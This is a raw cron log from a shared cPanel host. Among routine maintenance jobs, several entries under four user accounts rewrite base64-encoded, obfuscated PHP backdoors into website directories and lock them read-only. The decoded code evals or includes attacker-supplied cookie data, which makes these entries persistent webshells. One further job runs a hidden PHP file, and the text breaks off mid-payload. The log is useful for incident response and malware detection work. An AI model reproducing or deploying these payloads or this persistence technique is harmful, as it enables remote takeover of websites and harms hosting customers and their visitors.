Mar  2 10:54:02 medusa CROND[14052]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 10:54:02 medusa CROND[14053]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:55:01 medusa CROND[31876]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 10:55:02 medusa CROND[31931]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 10:55:02 medusa CROND[31983]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 10:55:02 medusa CROND[32213]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 10:55:02 medusa CROND[32214]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:55:02 medusa CROND[32215]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:55:02 medusa CROND[32223]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 10:55:02 medusa CROND[32225]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 10:55:02 medusa CROND[32219]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 10:55:02 medusa CROND[32218]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 10:55:02 medusa CROND[32226]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:55:02 medusa CROND[32229]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:55:02 medusa CROND[32216]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 10:55:02 medusa CROND[32224]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 10:55:02 medusa CROND[32235]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:55:02 medusa CROND[32238]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:55:02 medusa CROND[32239]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:55:02 medusa CROND[32234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:55:02 medusa CROND[32243]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:55:02 medusa CROND[32244]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:55:02 medusa CROND[32252]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:55:02 medusa CROND[32255]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 10:56:02 medusa CROND[17604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:56:02 medusa CROND[17605]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:56:02 medusa CROND[17606]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:56:02 medusa CROND[17607]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:56:02 medusa CROND[17608]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:56:02 medusa CROND[17603]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 10:56:02 medusa CROND[17609]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 10:56:02 medusa CROND[17612]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:56:02 medusa CROND[17611]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:56:02 medusa CROND[17613]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:56:02 medusa CROND[17616]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 10:56:02 medusa CROND[17618]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:56:02 medusa CROND[17615]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:56:02 medusa CROND[17610]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:57:01 medusa CROND[3868]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 10:57:01 medusa CROND[3946]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:57:01 medusa CROND[4018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:57:01 medusa CROND[4021]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enpt